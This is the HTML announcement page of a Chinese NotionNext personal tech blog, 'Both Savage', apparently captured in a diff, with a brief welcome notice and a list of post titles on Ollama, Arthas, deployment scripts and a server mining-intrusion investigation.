+<!DOCTYPE html><html lang="zh-CN"><head><title>公告 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="公告 | Both Savage"/><meta property="og:description" content="类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告"/><meta property="og:url" content="https://bothsavage.github.io//#"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Notice"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告"/><meta name="twitter:title" content="公告 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D-305d9f2047462727.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">公告</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-f53bfc3059bb4890ba280b045040aa5e"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-text notion-block-ed131e318c4e4a1dab1ce0413305a17c"><b>🎉talk is cheap🎉
 🎉show me the code🎉</b></div><div class="notion-text notion-block-0594fd5d89de4d48a947800290cd93ea"><b>-- 感谢您的支持 ---</b></div><div class="notion-text notion-block-7f67629a00824473928fd31d356b7841">👏欢迎更新体验👏</div><div class="notion-text notion-block-c1ecbb45e32647ea8556c7d10bb170ed"><a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://docs.tangly1024.com/about">操作手册</a></div><div class="notion-text notion-block-f3004e35d8924b8cb6d45509025ab04c"><a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://docs.tangly1024.com/article/latest">更新记录</a></div><div class="notion-text notion-block-470ea75c8d3c4b369fdf5c8b9f834ed5"><a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://docs.tangly1024.com/article/how-to-question">联系我们</a></div><div class="notion-blank notion-block-26b17beb052443798298b4058fc13093"> </div></main></div><div class="flex justify-between"><div></div></div><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半